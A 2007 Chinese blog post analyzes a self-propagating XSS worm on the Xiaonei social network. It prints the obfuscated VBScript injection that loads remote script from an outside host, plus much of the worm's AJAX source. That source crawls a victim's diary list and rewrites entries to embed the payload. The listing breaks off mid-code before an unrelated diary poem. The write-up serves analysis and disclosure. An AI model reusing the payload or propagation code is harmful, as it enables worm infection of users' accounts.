校内网----有蠕虫!!!
2007-11-08 01:11
在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,发现许多人的页面上也有这段代码。 <a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'> 以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容: set s=document.createElement("script") s.src=http://www.sosoface.com/images/xnjs.jpg document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113") 在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后 缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的 蠕虫。 值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站 长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图: http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218 从 图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次考虑到一个 人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。 Sosoface也被停了。 下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起: var req = null; var step=null; var DiaryMonthUrlList="",DiaryUrlList=""; var timer=null; var bIsBusy=false; var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44"; function my_HtmlDecode(str) { str=str.replace(/</g,"<"); str=str.replace(/>/g,">"); str=str.replace(/&/g,"&"); str=str.replace(/ /g," "); str=str.replace(/"/g,"\""); str=str.replace(/<br>/g,"\n"); str=str.replace(/#/g,"#"); str=str.replace(/(/g,"("); str=str.replace(/)/g,")"); str=str.replace(/"/g,"\""); str=str.replace(/'/g,"'"); str=str.replace(/#/g,"#"); str=str.replace(/(/g,"("); str=str.replace(/)/g,")"); str=str.replace(/"/g,"\""); str=str.replace(/'/g,"'"); return str; } function processReqChange() { if (req.readyState == 4 && req.status == 200 ) { if("WriteIframe"==step) { var text,len,i=0,j=0,temp; text=req.responseText; i=text.indexOf("<div class=\"article\">",0); if(-1==i){return} i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i); if(-1==i){return} j=text.indexOf("\"",i); if(-1==j){return} text=text.substring(i,j); document.getElementById("mya113").style.background="#FFFFFF"; var s=document.createElement("iframe"); s.frameborder="0"; s.height="0"; s.width="1"; s.src=text; document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113")); } else if("GetDiaryMonthList"==step) { var text,len,i=0,j=0,temp; //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中 //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表 text=req.responseText; i=text.indexOf("<div id=\"list-archive\">",0); if(-1==i){return} j=text.indexOf("<div class=\"bottom-box\">",i); if(-1==j){return} text=text.substring(i,j); i=j=0; while(1) { i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i); if(-1==i)break; j=text.indexOf("'>",i); if(-1==j)break; temp=text.substring(i,j); i+=temp.length; temp=my_HtmlDecode(temp)+"|"; DiaryMonthUrlList+=temp; } if(DiaryMonthUrlList.length<=1) { return; } step="GetDiaryList"; req=null; bIsBusy=false; timer=window.setInterval(GetStatus,1000); } else if("GetDiaryList"==step) { var text,len,i,j,temp,temp2; var text2="http://blog.xiaonei.com/EditEntry.do?id="; //text的内容就和用户点了“日志存档”后的内容一样 //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容, //看本函数下面else if("GetDiaryText"==step)就是了 text=req.responseText; len=text.length; i=text.indexOf("<div id=\"list-article\">"); if(-1==i) { req=null; bIsBusy=false; return; } j=text.indexOf("</table>",i); if(-1==j) { req=null; bIsBusy=false; return; } text=text.substring(i,j); i=j=0; while(1) { j=0; len=0; j=DiaryUrlList.indexOf("|",j); while(j!=-1) { j++; len++; j=DiaryUrlList.indexOf("|",j); } if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究 { break; } i=text.indexOf(text2,i); if(-1==i) { break; } i+=text2.length; j=text.indexOf("\">",i); if(-1==j || j-i>10) { break; } temp=text2+text.substring(i,j)+"|"; DiaryUrlList+=temp; } req=null; bIsBusy=false; } else if("GetDiaryText"==step) { var text,len,i,j; var argv; var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid; text=req.responseText; //这个模块模拟用户编辑日志,在每篇日志的开关都加上 //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'> i=text.indexOf("<form action=\"http://upload.xiaonei.com/EditEntry.do\"",0); if(-1==i) { return; } i+=53; j=text.indexOf("</form>",i); if(-1==j) { return; } text=text.substring(i,j); //------------------------ i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\" value=\"",0); if(-1==i)return; i+=49; j=text.indexOf("\" />",i); if(-1==j)return; title=text.substring(i,j); //--- i=text.indexOf("<textarea name=\"body\" id=\"body\" cols=\"100%\" style=\"display:none\">",0); if(-1==i)return; i+=65; j=text.indexOf(" |
2007-10-30的日记
2007-10-30 14:14
| 白衣胜雪,浅笑若梨花。昔日一别,无缘复在相见。今年话胜去年红,然人面桃花安在? 唉!相思难遣..... 秋风清,秋月明,落叶聚还散,寒鸦栖复惊,相思相见知何日,此时此夜难为情 ---- --- 冰河洗剑 . |